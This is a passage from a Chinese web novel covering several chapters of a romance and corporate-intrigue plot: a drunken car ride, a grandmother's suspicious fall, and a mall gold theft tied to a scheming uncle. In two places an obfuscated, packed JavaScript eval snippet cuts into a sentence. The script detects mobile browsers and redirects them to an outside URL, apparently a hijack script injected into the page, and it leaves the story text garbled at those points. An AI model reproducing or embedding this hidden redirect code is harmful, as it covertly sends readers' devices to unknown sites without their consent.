钟晚意激动得差点打翻酒杯,三度的蜜桃气泡酒洒落出来在桌布洇开粉色水痕:“真的吗?谢谢思虞姐!” 耳边响起钟晚意的欢呼声,陆言卿微微挑眉,她可不记得茶饮馆缺什么形象顾问,然很快明白谢思虞的用意。 眼睑低垂,眸光也变得温柔起来。 - 今晚月光皎洁,从Halo西餐厅离开回江海澜苑,因为两人都喝酒的缘故,便叫了代驾。 宾利车后排,谢思虞耷拉着脑袋靠在陆言卿肩头,明艳白净的脸庞浸染了一层薄薄的绯色。 她无意识蹭着陆言卿的肩窝,珍珠耳坠勾住对方一缕发丝,随着车身颠簸轻轻扯动。 陆言卿没注意到这点小细节,捏了捏谢思虞的手指,轻声问:“很难受吗?要不要喝水?” 谢思虞如今这幅醉醺醺的模样,全怪钟晚意那个冒失鬼,一开始她们都是喝度数极低的鸡尾酒。 她就是出门接个电话的功夫,再次回到包厢,发现谢思虞趴在桌子上,脸颊好似涂抹了腮红一般。 明显是喝多了。 “要冰水……” 带着酒气的呢喃声擦过耳畔,陆言卿揽着谢思虞腰肢的手不受控制抖了抖。 矿泉水分明就在触手可及的地方,她却感觉被点穴一般,整个人都僵住了。 尤其是谢思虞身上浓郁的橙花香一个劲儿往她鼻子里钻,搅得她心烦意乱。 又不能把车窗缝隙开的太大,怕喝醉的谢思虞吹冷风,明天头疼。 重重地吐出一口气,陆言卿平复了心绪,才扶着谢思虞坐好,拧开矿泉水的瓶盖,喂到她嘴边,温言提醒:“慢点喝……” 可惜她话还没有说完,就被代驾师傅突然的急刹打断,谢思虞因为惯性整个人扑进她怀里。 而陆言卿手里矿泉水洒落出来,顺着谢思虞下巴滑进衣领,在浅灰布料上晕开深色痕迹。 “冷……” 谢思虞忽然抓住她的手往心口按,浸湿的真丝面料透出肌肤温度。 陆言卿愕然,触电一般收回手,掌心残留的柔软触感惊得她后颈发麻。 就在她恍惚的片刻,耳边传来衣料摩擦的窸窣声,谢思虞竟自己解开了衬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278684|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衫的三颗纽扣。 中午在总裁办用餐,她针织衫袖口沾上果渍,这才换了件衣服。 路灯恰好在此刻穿透车窗,晃过锁骨下方淡粉的旖旎风光——那是上周她撞见谢思虞更衣时慌忙移开视线的位置。 “别动。” 陆言卿用羊绒外套裹住谢思虞,指尖不小心擦过她颈脖敏感处,怀里人突然闷哼着蜷缩起来。 暖黄光晕里,陆言卿看见谢思虞濡湿的睫毛轻颤着睁开:“卿卿的手……好凉。” 谢思虞柔软的指尖突然贴上她的脸颊,惊得她短而促的呼吸了两次。 光影忽明忽暗的车厢内,陆言卿紧抿着唇,眸光深邃复杂,终究没有把怀里扰乱她心神的人推开。 不知出于何种原因,反而抱的更紧了些。 话说另一边。 钟晚意将「云裳」茶饮馆形象顾问的事情告诉宋薇,对方迟迟没有回复,大概是没有看手机。 包厢门再次被推开,这次进来的是郑雪,这家餐厅就是她家开的。 “思虞姐不会像上次那样敷衍咱们吧?” 郑雪小跑来到钟晚意跟前,扫了眼餐桌上的狼藉,目光又回到好友脸上。 代言的事只要没有落实到白纸黑字,就可能有变数! 之前她们把宋薇的个人资料发给谢思虞特助,便再也没有了后续。 “事不过三。” 况且今晚卿卿也亲耳听到了。 单手托着下巴,钟晚意望着落地窗外的梧桐树愣神,嚼碎嘴巴里的薄荷糖,清凉感袭来,整个人清醒了不少。 「意意,很感谢你为我打算,不过品牌代言的事情就此打住啦~别为难你的朋友。」 「今天能和你见面聊天,我很开心。」 陆言卿离开包厢接听电话,她突然收到宋薇发来的微信,沉思片刻便明白了事情的缘由。 宋薇明明答应她要争取一次,最后却找借口离开,是因为看到了谢思虞。 她们之间肯定有她不知道的事情。 恍惚间不小心把威士忌倒入谢思虞酒杯中,反应过来急忙提醒:“思虞姐,这酒——” 就算谢思虞一时没留神,可威士忌入口怎么可能感觉不出来呢? 偏偏她将一整杯都喝掉了。 刚谢思虞看过来的眼神,她现在还记忆犹新,明明温柔含笑,却莫名深邃。 郑雪有个疑问憋在心里许久了,她和钟晚意多年朋友,况且包厢里没有外人,她也没什么好忌讳的,直接问:“思虞姐只是暂代陆氏集团的总裁,言卿姐如今回来了,你为什么要舍近求远?” “凭你和言卿姐的关系,你找她会更容易吧。” 钟晚意拍了拍脸颊,有点烫。 她也有点醉了。 撑着桌面站起身,快要走到包厢门口,才开口解答郑雪的疑惑。 “我和卿卿是朋友没错。她回来也有一段时间了,谢思虞却还坐在那个位置上,为什么呢?” “是因为卿卿允许的呀。” 25. 第25章 周六依然是个艳阳天。 榕城进入2月中旬,温度开始慢慢回暖,晴朗的日子也渐渐多了起来。 晚上陆言卿约谢思虞看电影,可《婚后予你》是三年前上映的电影,没有重映是不会出现在电影院的。 她上网找了好几家影院,最后因为观影环境和广大群众评价,还是挑选了自家商城的电影院。 江海澜苑距离开发区的商城更近,于是抵达集团第一件事就是联系该店的总负责人。 「陆总,按照您的吩咐,电影院经理已经将2号厅留了下来。」 上午10点,陆言卿总算得到了确切的回复,退出微信把手机随手搁在办公桌上,翻开资料第一页,几分钟过去竟一个字也看不进去。 脑海浮现出昨晚谢思虞拉着她手不愿意松开的画面。 迫不得已,她们第二次‘同床共枕’。 叩叩。 办公室门被敲响,陆言卿思绪回笼,快速整理好表情,说了声:请进。 “是你啊,有事?” 陆言卿抬眸看到一张熟悉的脸,随后目光下移落在女生胸口的工作牌上:财务主管张小梅。 张小梅受宠若惊,意外陆言卿居然认识她,不敢一直盯着对方看,这样很失礼,急忙将财务报表放在她面前:“陆总,这是销售部周总监申请的下个季度经费,需要您确认并签字。” 主要周总监那边催的急,谢总又在楼下会议室开会,她便来找陆言卿了。 毕竟,她也是集团的执行总裁。 “稍等。” 陆言卿仔细查看后确定没有问题,便直接签字了。 张小梅拿着文件离开,正巧秘书江晓晓抱着半月后联名活动相关资料进来。 见陆言卿盯着张小梅背影看,主动解答:“张主管是谢总远房表亲,两年前也是谢总引荐去的财务部。” 主要这事在公司不算秘密,知道的人也不少。 “是吗?” 陆言卿勾唇笑笑。 能在江泠月手底下做事,两年内升为部门主管,大抵也是有些真本事的。 - 傍晚7点,陆言卿和谢思虞在开发区商场四楼一家中餐馆吃完饭,算好时间才乘坐电梯去了六楼的电影院。 “老板说是爆款。” 谢思虞在陆言卿去洗手间时,到旁边饮品店下单了一杯香芋奶盖,她不太喜欢甜食,便只买了一杯。 陆言卿擦干净手把纸巾扔进垃圾桶,接过谢思虞递过来的奶茶,插上吸管喝了一口,香芋口感很是绵密。 “还不错,要尝尝吗?” 一句话说完才反应过来,她和谢思虞并不是亲密到能同喝一杯奶茶的关系。 好在尴尬的气氛没持续多久。 谢思虞摇头,算是拒绝,又温柔道:“你喜欢就好。” 两人一前一后进入2号影厅。 经理为她们挑选了最佳观影座位,在第五排中间,还精心准备了各种小零食。 然而电影开场不过十分钟,包里手机震动次数频繁,陆言卿想听不见都难。 是老宅李婶打来的电话:「大小姐,老太太在院子里跌倒——右腿疑似骨折,额头磕到台阶上,血流的满脸都是。」 「我和言昭少爷的父亲正前往华康医院路上,已经通知您父亲了,您也快些赶往医院吧,我实在是怕……」 陆言卿猛地站起身,胳膊肘撞倒了扶手上的爆米花桶,攥着手机的指节隐隐泛白,咬了咬舌尖才迫使自己冷静,尾音带颤:“好,我马上过去。” 奶奶只比爷爷小2岁,还有4个月满80岁,这俗话说得好,老人家最忌讳摔跤,因为身子骨脆弱,轻则导致瘫痪,重则性命攸关。 “抱歉,奶奶摔倒正送往医院抢救,欠你的这场电影恐怕要再一次推迟。” 爆米花洒落一地,浓郁的奶香味在空气中弥漫,谢思虞得知这件事,眼中闪过惊讶,也急忙站起身。 握住陆言卿颤抖的手腕,轻声安抚:“电影随时都可以看,我们先去医院。” 晚上八点左右,开发区很是热闹。 道路上来往的车辆很多,最繁华的商业街路段还堵车了5分钟。 两人紧赶慢赶,40分钟后才抵达华康私立医院。 急诊部,手术室门上的灯亮着。 陆言卿三步并两步来到手术室门前,看到父亲母亲,二叔二婶,包括每晚泡酒吧的陆言昭都在现场。 “来了?你妹妹今晚值班,应该在赶来的路上了。” 陆弘深眼眶微红,他到医院时正巧母亲被医护人员抬下救护车,想到母亲那一脸刺眼的血迹,他现在双腿还打颤。 对女儿微微颔首,解释小女儿没在场的原因,“你爷爷那边暂时先瞒着。” 陆言卿嗯了声。 爷爷病情刚稳定,奶奶跌倒的事先瞒着也好。 目光环顾四周,并没有看到李婶的身影:“李婶呢?” 沈若华不知道女儿为什么要问李婶的下落,随口回了句:“她回老宅取东西了。” 陆言卿佯装没察觉到母亲的不耐,清冽的目光扫过呆若木鸡的陆言昭,换做往日她最后一个到,他总会嘲讽几句,今儿却异常安静。 想到李婶在电话里说的话,往二叔陆弘毅方向走了一步,牵扯到身后的谢思虞,才恍然过来这人从下车后就一直牵着她的手。 “今晚二叔也在老宅?夜里光线不好,奶奶去院子里做什么?” 陆弘毅眉头紧拧,听到陆言卿像是审犯人一样的口气,也不知道是心虚还是其他,嗓门儿格外的大:“我今晚是在老宅,那也是为了给母亲送人参!” “母亲为什么会在院子摔倒,我怎会知道?” 倚着走廊墙壁的陆言昭掰弯了手中的香烟,沉默着没说话,今晚他随父亲回老宅也是一时兴趣,哪里想到会碰到这种事? 李婶暂时被他叫回去了,当时天太黑,想必她也没有看清奶奶和父亲相互拉扯的画面。 老宅院子没有监控,只要奶奶醒来不乱说,就没人知道事情真相。 谢思虞走到陆言卿身边,指腹擦过她的掌心,无声安抚其激动的情绪。 温和的嗓音在空旷的走廊响起:“医院禁止大声喧哗,言卿只是担心奶奶才有此一问,二叔不知情如实说就是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278685|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 话毕又温温柔柔补充,“并不是说话越大声就越有理。” 陆弘毅脸色难看,把头扭向另一边:“你们奶奶还在抢救,我懒得跟你们掰扯。” 背在身后的双手攥成了拳头,暴露他恐慌紧张的情绪。 其实他也怕。 害怕抢救室的母亲一睡不醒。 同时又害怕她醒过来,也不知道母亲究竟听到多少对话内容,他太大意了,哪里想到大晚上母亲会摸到院子去。 旁边二婶站出来充当和事佬:“老太太吉人自有天相,肯定能迈过去这个坎。” 说着来到陆言卿面前,轻轻拍了拍她的肩膀,这时候大家心情都很糟糕,说话冲一些也能理解。 一旁陆弘深也开口:“你二婶说的对,一切都等你们祖母醒来再说。” 他不愿怀疑弟弟,可毕竟多年兄弟,对他多少有些了解。 但愿这事真的与他无关。 手术结束已经是两个小时后的事情。 医生说老太太脱离了危险。 就是右腿骨折,即便是恢复出院,也不能长时间走路。 额头磕伤不严重,流血不止是伤到了静脉血管。 最后一行人在重症监护室门口守到凌晨三点,戴着氧气面罩的老太太总算睁开了眼睛。 然清醒的时间很短,很快又睡了过去。 主治医生说这是正常的,麻醉药效还未过去,明天老太太就能清醒。 陆言卿本想继续留下来守夜,但父亲坚持:“这里有我和你二叔就行,而且李婶也在,你和思虞回去休息,明天再来医院。” “你母亲身体不能熬夜。” 拗不过父亲,陆言卿只能开车将母亲送回陆家老洋房。 谢思虞本就有失眠的毛病,回到江海澜苑,车载显示屏上时间:04:55. 回到公寓。 谢思虞脱掉羊绒大衣搭在沙发扶手上,见陆言卿往厨房走,熟练打开冰箱门,从里面拿出一盒牛奶。 既暖心又心疼:“不用煮牛奶。” 陆言卿拿着牛奶转身,看向客厅站着的谢思虞,眼神复杂:“喝了牛奶至少你能睡的好些。” 不过昨晚她和谢思虞睡一张床上,某人似乎睡的很熟? 为什么会有此结论呢,是因为她捏谢思虞的脸,甚至挠她腰间的痒痒肉。 她都全然不知。 难道是醉酒的原因? 谢思虞自然不知道陆言卿昨晚所做的事,走进厨房,从她手里拿走牛奶:“那我来煮,你先去主卧洗漱。” “除去洗澡时间,陆总睡两个小时就又要起床了。” 陆言卿如愿被逗笑,没有再纠结谁来煮牛奶:“你别设置闹钟,明早多睡会儿,上午的会议我在场就行。” “好。” 谢思虞温柔地笑笑,牛奶盒剪开一角,将其倒入不锈钢锅中,余光随陆言卿身影最终停留在主卧方向。 其实喝牛奶,吃安眠药都不如她睡在她身边有效。 今早在陆言卿怀里醒来,看着她们长发宛若藤蔓亲密交织,至少那一刻,她心脏缺失的那块被填满了。 26、第26章 次日上午十点。 陆言卿结束会议后就开车前往华康医院,原本谢思虞也想要一起,但「月桂芳」章总突然到访集团说有重要的事商量,她只能先接见对方。 急诊大楼。 老太太两个小时前才醒过来,主治医生说需要48小时密切关注,如今还住在重症监护室内。 “妈,言卿来看您了。” 二婶陈雅喂完温水放下玻璃杯,用纸巾擦了擦老太太的嘴角,很快又解释,“你爸和你二叔刚离开,医院有我守着,言卿你也别担心。” “接下来几天还要辛苦二婶。” 虽说二婶平时总爱唠叨,但照顾祖母却很用心,陆言卿来到床边,握着祖母枯老的手:“您还有哪里不舒服吗?” “右腿打着石膏,麻醉药效过去,总会有点疼的。祖母能捡回一条命,也是菩萨保佑。” 老太太说话声音沙哑,看向孙女的目光很复杂,想要说什么,可好几次张开嘴巴都不知道该如何开口。 旁边二儿媳还在忙上忙下,一时觉得胸口闷的不行 昨天傍晚弘毅和孙子言昭来老宅送野生人参,她老了,就算吃的补品再多,也没几个年头可活。 正好也到了吃晚饭的点,就让他们父子留下用餐。 孙子哪里有耐心陪她这个老婆子吃饭,筷子都没动就要走。 想起来冰箱里有邻居拿的海鲜,于是追了出去:“里面是冰鲜带鱼,奶奶记得你小时候最爱吃。” 陆言昭不想要,小时候喜欢不代表长大还喜欢,但老太太坚持,他只好接过来:“您回吧,我走了。” 太阳落山。 院子里光线越来越黯,她慢慢往回走,想到下午晒在凉亭外的棉花被,李婶还在厨房忙,犹豫几秒就转向右侧。 花圃里鹅卵石铺成的小路,硌得脚心生疼。 然而不等她走近凉亭,不远处儿子弘毅刻意压低的嗓音传来:“放心,人我已经安排打点好了,我那个侄女是不见棺材不落泪。” 夜风吹得花圃里花枝簌簌作响。 顷刻间她就觉得背脊发凉,当初丈夫决定让孙女继承集团,她就问过原因。 事实证明,二儿子是有些经商头脑,但他心肠太狠,如果他掌权陆氏,怕是连言卿一家都容不下。 再者孙子言昭嚣张跋扈,不学无术,让他们二房得势,只会更加无法无天。 惹出天大的祸事也有可能。 陆弘毅冷笑,根本没留意身后有人:“谢思虞再能干也是外人……” 突然后背被花枝重重地打了下,惊得他猛地一跳,手机也摔落在花圃里。 “妈?” 转身看到母亲,陆弘毅眼中闪过慌乱,视线下移,老太太手里拿着一根杜鹃花枝。 老人举着花枝又要往儿子身上打,却被他徒手抓住,她气的浑身发抖:“不管你想做什么,又谋划了什么恶心事,马上给我停下来。思虞已经嫁给了言卿,她就是陆家的一份子!” 显然。 老太太听到了他刚说的话,陆弘毅用力扣住母亲的手腕,夺过她手中的杜鹃花枝,耐着性子解释:“妈,你根本不懂商场如战场的道理,陆氏不可能有两个执行总裁。” 老人眉头紧蹙,手腕戴着的珠串,线突然断了,其中一颗价值不菲的翡翠玉珠陷进鹅卵石缝隙,她弯腰去捡,眼前突然天旋地转。 再醒来人已经在医院。 监护仪的滴滴声拉回她的思绪,拍了拍孙女的手背,苦口婆心:“祖母只愿你们小辈都和和睦睦,家宅兴旺重要,但安宁也很重要。” 陆言卿微怔,不知道祖母为何提起家宅和睦,正好二婶离开监护室去外面接听电话,她稍稍俯身弯腰,轻声问:“奶奶您告诉我实话,昨晚是不是二叔惹您生气了?” 老人闭了闭眼,明显不想回答,再开口说了另外一件事:“奶奶很喜欢思虞,这些年她为陆氏奔波劳碌,我会说服你爷爷,再转给她集团的一部分股份。” 陆言卿坐直身体,看向祖母的目光变得深邃,一直沉默着没接话。 “她做的再好终究不信陆,孩子,把权利收回来吧,别让……”你二叔有机可趁。 停顿片刻,还是把最后一句换成了,“别让坏人有机可趁。” 祖母向来不管集团的事情,今天能在她面前说这些话,绝对跟二叔脱不了干系。 陆言卿并没有给出确切的回复,转移话题到妹妹身上:“言薇昨晚过来您没醒,估计还一直担心着,我现在问问她,要是有时间就微信视频。” - 5天后。 祖母在院子摔跤右腿骨折的事情到底还是被祖父知道了,不过祖母住院观察一段时间,身体各方面情况都比较稳定,便从重症监护室转到了普通病房。 华康医院住院部6楼609vip病房。 病床上祖母正在午睡。 陆言卿将股份转让合同翻到最后一页,看到祖父已经在上面签名,刻意压低了声音:“爷爷,您既然都决定好了,为什么还要询问我的意见?” 当初祖父就是用集团继承人身份‘要挟’她结婚,原本她和谢思虞领证后,他手中15%的股份会转到她的名下。 谁知她突然“失踪”。 祖父力排众议让谢思虞担任集团总裁,或许是担心她难以服众,便转给她11%的股份,是集团除却她以外最大的股东。 如今又把剩余的4%转让给谢思虞。 二叔要是知道这件事,估计会当场暴走。 要知道陆言昭作为陆家子孙,也仅有集团5%的股份而已。 “我和你奶奶年岁已高,很多事是心有力而余不足,集团有你和思虞管理,爷爷没什么不放心的。” 陆老坐在沙发上,手里握着拐杖,头发已然花白,但精气神儿挺好。 陆言卿把合同合上,眸底浮现一抹浅笑,她可不会轻易相信祖父的场面话,身体坐直,凝肃的目光看过去:“谢思虞说您曾有恩于她,要不今天您跟我仔细说说?” 从小祖父就教导她,生意场上没有永远的朋友,只有永远的利益。 至亲家人都可能背刺你,更何况是半路联姻的妻子呢? 祖父生性多疑,心眼子比蜂窝还多,竟然放心把集团15%的股份交给谢思虞,她怎会没有疑问? 陆老避开孙女过分直白的目光,佯装咳嗽,端起茶几上的茶杯喝茶,摆明了就是不愿透露。 陆言卿又漫不经心提了句:“您真不怕哪天我跟谢思虞离婚?” 陆老蹙起眉头,茶杯有些用力的放在茶几上,深知孙女的性格,只好委婉道:“总而言之你可以信任她。” 三年前那孩子主动找上门,他们签订的协议还在老宅书房上了锁的抽屉里。 “爷爷啊爷爷,您才是真正的老滑头。” 陆言卿轻哼。 果然是有她不知道的秘密吧。 手机锁屏亮起,是两条微信内容。 「奶奶身体好些了吗?」 「我通知云膳坊的经理了,晚上会做一些清淡易消化的菜送过去。」 “您不想透露就算了,反正我总有知晓的一天。” 拿着手机站起身,陆言卿抓过沙发上的腋下包,一边回复谢思虞微信一边往病房外走。 电梯往下运行。 在3楼停下,门缓缓打开,有好几人往里走,陆言卿下意识往后退了一步。 突然耳边传来清冽的嗓音:“是陆小姐?” 陆言卿视线从手机屏幕移开,面前的女子穿着白大褂,胸牌上写着心理科主治医师:余霁。 “是我,余医生你好。” 之前谢思虞陪她到医院体检,在影像科外走廊碰到的人就是余霁。 陆言卿锁了屏幕,把手机装进包里,这时电梯抵达一楼。 今天周四。 谢思虞好像就是预约今天针灸? 陆言卿和余霁一前一后往电梯外走,现在是午休时间,她想询问对方谢思虞失眠的事。 “余医生……” “陆小姐,我……” 两人异口同声。 陆言卿扯唇笑了笑,“余医生你先说。” 住院部大楼外阳光炙热,绿化带里的绿植也没精打采。 余霁右手边病房是空的,便邀请陆言卿进屋聊:“下午4点谢总会到医院针灸,这件事您知道吗?” “前不久才知道,抱歉,我刚正要询问余医生,关于谢……我妻子长期失眠的问题。” 陆言卿也询问过刘瑶,她只是说谢思虞担任总裁前两年会经常加班到深夜,至于有没有失眠并不清楚。 余霁瞧陆言卿不是撒谎,而是真的不知情,作为谢思虞的主治医生,关于这两人的婚姻情况她有多少知道一点。 “谢小姐的失眠症有两年了,半年她失眠加重,每天需要服用2片安眠药才能勉强入睡。” 余霁如实透露,“针灸虽能缓解,但在谢小姐身上效果并不明显。” 陆言卿当然知道独自管理一个偌大集团的压力有多大,更何况谢思虞身上还肩负着爷爷给予的厚望。 “不过最近一段时间,谢小姐透露她的失眠症有所好转,不吃安眠药也能安然熟睡,且是深度睡眠。” 余霁意味深长的目光看向陆言卿。 陆言卿长睫颤了颤,半晌后指着自己,不确定问:“余医生的意思,是因为我?” 27、第27章 余霁当然不能确定,主要谢思虞说的比较隐晦,她猜测,或许是因为陆言卿回国,谢思虞的精神压力没那么大,所以失眠症才有所缓解。 “可能你出国这些年,谢小姐长期担心和焦虑,如今你平安回来,她脑子里紧绷的那根弦终于得以松缓,因此失眠也就有了好转。” 余霁看陆言卿面露迷茫,又给出建议,“陆小姐平时可以多观察,多留心,主要是多关心谢小姐。” 陆言卿突然想到她回来后,两次和谢思虞同床共枕,对方都睡的比较熟,大概就是余霁口中的深度睡眠。 所以,真的跟她有关? “谢谢。” 陆言卿离开病房往外走,不由自主攥紧了包包的链条。等她回到车里,总算找到一个比较合理的说法。 谢思虞这三年派人在w国,甚至周边几个国家寻找她的下落。 站在她的角度,新婚妻子突然人间蒸发,生死不明,怎么可能不担心焦虑呢? 「言卿你还在医院吗?」 「d市的商场出事了,昨晚凌晨3点,一楼黄金店铺被人盗走价值300万的黄金,警方初步判断嫌疑人是商场安保人员,已经有6个品牌方闹事,我需要立刻赶过去。」 「如果奶奶情况稳定,你回集团吧,接下来可能会很忙。」 陆言卿刚启动引擎,从她坐进车里,手机就自动连接车载系统。 有电话进来,她直接按下接听键,车载广播里传出谢思虞凝肃的声音。 “昨晚黄金被盗,怎么现在才……” 陆言卿抓着方向盘的手骤然收紧,剩下的话也没再继续,d市商场出现如此恶劣的事,现在才上报总部,怕是负责人认为他能解决。 结果高估了自己,舆论哗然,眼见事情越闹越大才不得不上报。 “你留在集团总部,我去d市,除了魏洁,另外你再安排两个人同行。” 「好,我们随时保持联系。」 「你……注意安全。」 车头前方有路人经过,对方拎着塑料袋,里面全是各种药品。 突然想起什么,陆言卿急忙喊了声:“谢思虞——” 「嗯?还有事吗?」 “你别忘记下午到医院针灸,d市的黄金盗窃案没有你身体重要,明白吗?” 陆言卿眼睑微垂,看向副驾座椅上的股份转让合同,眸光渐渐变得深邃,她想,等她从d市出差回来,一定要和谢思虞好好聊聊。 她到底如何看待她们这段婚姻。 「好,我会去的。」 听筒那头的人沉默了好一会儿,很轻很温柔的声音才传来。 陆言卿挂断车载电话,将股份转让合同放到副驾前方的储物盒里,拿起一旁的手机,果不其然,微博热搜榜有两条关于双栖云境的内容。 #双栖云境黄金失窃!# #陆氏员工监守自盗?# 陆言卿点开相关内容,越看脸色越沉,之前商城也发生过失窃案件,可这次性质不同,因为警方调查结果指向商场员工—— 如果处理不得当,会令哪些跟商场合作多年的品牌方寒心。 也会给竞争对手打压陆氏的机会。 然她再次刷新微博页面,有关词条的链接已经消失不见了,陆言卿微微挑眉,很快明白过来肯定是谢思虞及时给出了应对方案。 重新把手机扔进储物盒,想到要出差d市,怕中途手机没电,寻找充电线将手机充上。 40分钟后。 榕城国际机场。 陆言卿在检票口跟魏洁等三人汇合,另外两人还都是熟面孔,一个是财务部的张小梅,一个是公关部秦霜。 秦霜是她当年在集团时参与面试的应届毕业生。 “好,既然大家都到了,便检票登机吧。” 陆言卿对三人颔首,说完从魏洁手里拿过一个行李箱,抓着拉杆往检票窗口走。 魏洁跟在陆言卿身后,解释:“陆总,行李箱里两套换洗衣服是谢总直接从总裁办休息室拿的。” 如果她们在d市待的时间长,那她会另外准备。 “没事,我们穿的尺码差不多。” 时间紧迫,让魏洁去江海澜苑收拾衣服难免耽误时间,陆言卿并未多说什么。 只不过当她抵达d市提前预定的酒店,打开行李箱,才发现两套衣服都是她的尺码。 当然这都是后话。 - 榕城飞往d市的航班在5:14分安全着落,航站楼外小雨淅沥,整座城市上空乌云密布。 当陆言卿一行人抵达市中心双栖云境购物商城时,雨势骤然变大,豆大的雨点噼里啪啦砸落下来,扰得人无端心烦。 商场一楼b门入口处一家名为《陈记黄金》的商铺昨晚被盗,此刻门店外拉着刺目的警戒线。 “陆总,我是宋岳,d市商城的主要负责人。” 接到消息是陆言卿过来接手黄金被盗案,宋岳果断松了口气,相比温柔内敛的谢思虞,他更愿意直面陆言卿的怒火。 陆言卿看了眼宋岳,扭头对身侧的魏洁说:“你和秦霜去跟警方交涉,了解案件的最新进展。” 交代完事情,泠冽的目光才落到宋岳身上,嗓音平静却严肃,“宋总?请问监控室在哪边?” “这边,陆总您跟我来。” 宋岳拿出纸巾擦汗,腋下布料晕开深色汗渍,顶着压力走在前面带路,“昨晚凌晨3:05分商场断电,备用电源5分钟后启动。” 尽管盗窃犯极力避开监控摄像,还是在车库里暴露了身影。 “商场目前只有70%的区域营业,剩余区域暂时闭店,主要是奢侈品,因为盗窃案还没有结果,其中有6家门店明确表示,他们不愿再相信商场的安保系统。” 越是往下说,宋岳越是没有底气,事发突然,他本想第一时间上报总部,却临时接到一通电话。 陆言卿挪动鼠标,拖拉液晶屏上的时间轴,画面最后定格,是一个戴着黑色鸭舌帽的成年男子。 “陆总您看这儿,李强之前受过工伤,这也是警方确定他身份的关键点。” 宋岳放大监控画面,指了指李强的右手,他小拇指缺失的特征在红外镜头下格外清晰——和半年前工伤索赔档案里的照片完全吻合。 “联系他家里人了吗?” 陆言卿转身,站在她身后的张小梅突然往后退,撞倒了旁边的办公椅,她一边弯腰扶起椅子,一边道歉,“抱歉陆总,我以为您要出去。” 宋岳摸了摸鼻子,把办公椅挪开些:“李强家中只有一个年迈体弱的老母亲,上午走访调查的警察表示,半个月前他把人送到城西一家养老院,且一次性缴了两年的费用。” 陆言卿手机里进来一则消息,低垂的眸光闪了闪,锁屏后看向张小梅:“通知商场一楼和二楼的商户,半小时后开会,尤其今天未营业的商户,必须要到场。” 是的,当看到谢思虞发给她的简讯,便知道d市黄金盗窃案跟二叔有关。 那天在医院,祖母无端提起家宅和睦,又让她从谢思虞手中收回权利,恐怕就是发现了什么。 半个小时后,商场6楼员工会议室。 整栋商场有220多个租户,一二楼只占20%,陆言卿粗略扫了眼,到场只有36人。 a家是全球奢侈品香包,店长是一位40岁左右的女士,她第一个站出来:“陆总,我们每年交48万的安保费,不是来当活靶子的。” 其他五家闭店的商户也纷纷附和。 陆言卿临危不惧,从容给出解决方案:“明早十点前,商城所有需要且申请的门店,会安装公安部认证的临时保险柜。” 点击投影仪遥控器,大屏跳出二十分钟前她签过字的采购单,“费用从商场年度预算里扣除。” “我们凭什么信你?” 这次质疑陆言卿的男子身穿黑色西装,他是「cielhorae」腕表品牌的经理,不知道看到什么突然举高手机,激动开口,“谢总在群里发了应急方案!” 众人手机接连震动,陆言卿扫过锁屏弹出的信息,解锁点开群里图片。 确实是谢思虞发的‘方案’,针对租户不信任商场安保系统,她提出智能安防升级,每店安装瞳孔识别+热感应报警。 先行赔付黄金店的损失,集团另外划拨2000万的保障金;安保团队重组,引入退伍特种兵组建应急分队。 仅仅是划拨2000万保障金一条,就足以化解6家商户的投诉和愤懑。 谢思虞能在如此短的时间内考虑到方方面面,且制定可行性的方案。 哪怕是她也不得不佩服。 然而针对这一系列问题,她也制定了相应的措施,引进公安部认证的保险柜只是其中之一。 谢思虞如果看到她签字的采购单,不可能还“多此一举”,唯一的可能就是她并没有‘收到’。 陆言卿转动办公椅,看向右侧靠近会议室门的张小梅,眼底闪过一抹嗤笑。 所以二叔是什么时候收买张小梅的呢? 叮咚。 手机屏幕上方再次弹出微信内容。 「抱歉言卿,我刚看到邮箱里抄送的文件。」 陆言卿单手操控手机打字。 「没事,你制定的应急方案很好。」 28、第28章 含入v通知 黄金店老板娘刘燕慢悠悠转着手腕上那只水头十足的翡翠镯子,话茬儿一点没藏着掖着:“陆总,不是咱们信不过您。在座有三分之二的品牌方入驻双栖云境,当年都是跟谢总白纸黑字签的合同。” “虽说您是老陆董定下的继承人,可这三年您都在国外飘着。咱们每次去总部,也都是直接跟谢总汇报工作。眼下商场出了这档子麻烦事,大家伙儿心里自然更偏向谢总,也是人之常情,您多担待。” 刘燕这番话,明晃晃就是没把陆言卿这个陆氏总裁放在眼里。 整个会议室瞬间鸦雀无声,连根针掉地上都能听见。 连今天被迫闭店的那几位店长也深深埋着头,恨不得当场找个地缝钻进去。 宋岳第三次从纸巾盒里抽纸,使劲擦着额头上不断冒出的冷汗。 再有四个月他就满五十了,还有高血压,这种剑拔弩张的修罗场,真能要他老命。 可他不得不硬着头皮出来打圆场:“陆总,想来刘店长是表达有误,她……” 陆言卿神色平静,也没动怒,还有闲心拿起桌上摆的一瓶山泉水在指尖转了转。 直到宋岳开口,她才微微蹙眉打断:“刘店长说的也是实情。既然微信群谢总已经把应对方案发出来了,那就立刻执行。” 宋岳如蒙大赦,赶紧应和:“是是是,现在最要紧的就是找到李强,还有那批被盗的黄金。” 陆言卿站起身,目光再次掠过刘燕所在的方向,那眼神意味深长。 等她身影消失在会议室门口,旁边的张小梅才惴惴不安地小跑跟上。 这种节骨眼上搞小动作,她能不怕吗? 怕,当然怕。 可她有把柄攥在别人手里,不得不听命行事。 两人一前一后走进电梯。 